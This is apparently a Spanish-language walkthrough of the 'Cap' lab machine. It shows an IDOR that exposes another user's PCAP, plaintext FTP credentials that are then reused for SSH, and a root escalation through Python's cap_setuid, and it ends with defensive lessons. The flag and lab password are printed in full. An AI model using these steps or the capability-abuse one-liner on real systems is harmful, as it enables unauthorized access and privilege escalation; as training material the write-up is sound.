Cap
Cap es una máquina Linux fácil que corre un servidor HTTP con funciones administrativas incluyendo la captura de tráfico de red. Controles inadecuados en la lógica del endpoint resultan en un IDOR que da acceso a la captura de otro usuario. El archivo PCAP contiene credenciales en texto plano que permiten el acceso inicial. Una Linux Capability mal configurada sobre Python permite la escalada de privilegios a root.
Reconocimiento
nmap 10.129.102.177
# PORT STATE SERVICE
# 21/tcp open ftp (vsftpd 3.0.3)
# 22/tcp open ssh
# 80/tcp open http
IDOR en Security Snapshot — Acceso a PCAPs ajenos
La aplicación web tiene una funcionalidad de "Security Snapshot" que genera archivos PCAP de tráfico de red. Cada captura tiene un ID numérico en la URL: /data/1, /data/2, etc.
Al cambiar el ID a /data/0, accedemos a la captura de red de otro usuario que contiene tráfico FTP en texto plano con credenciales:
GET /data/0 HTTP/1.1
# Descarga: 0.pcap
Abriendo el PCAP con Wireshark y filtrando por ftp, encontramos las credenciales del usuario nathan en texto plano:
# USER: nathan
# PASS: Buck3tH4TF0RM3!
Acceso Inicial — FTP + SSH con mismas credenciales
ftp 10.129.102.177
# User: nathan / Pass: Buck3tH4TF0RM3!
ftp> ls
# -r-------- 1 1001 1001 33 ... user.txt
ftp> get user.txt
Las mismas credenciales funcionan para SSH, lo que nos da una shell interactiva más cómoda:
ssh nathan@10.129.102.177
# Password: Buck3tH4TF0RM3!
Escalada de Privilegios — Linux Capabilities (cap_setuid)
Las Linux Capabilities son una alternativa granular a SUID que otorgan privilegios específicos a binarios. La capability cap_setuid permite a un proceso cambiar su UID a 0 (root).
getcap -r / 2>/dev/null
# /usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
# /usr/bin/ping = cap_net_raw+ep
Python 3.8 tiene la capability cap_setuid. Podemos usar os.setuid(0) para convertirnos en root y luego spawnear una shell:
python3.8
>>> import os
>>> os.setuid(0)
>>> os.system("bash")
root@cap:~# whoami
root
root@cap:~# cat /root/root.txt
d6f47ffeeb9bad4e52a9803f0357bbaf
Lecciones Aprendidas
- Los IDs de recursos en URLs deben validarse contra la sesión del usuario para prevenir IDOR. Un usuario solo debería acceder a sus propias capturas.
- El protocolo FTP transmite credenciales en texto plano — siempre preferir SFTP o FTPS en producción.
- No reutilizar contraseñas entre servicios (FTP y SSH en este caso).
- Las Linux Capabilities son tan peligrosas como el bit SUID si se asignan a intérpretes como Python, Perl o Ruby. Auditarlas con
getcap -r / 2>/dev/nullregularmente.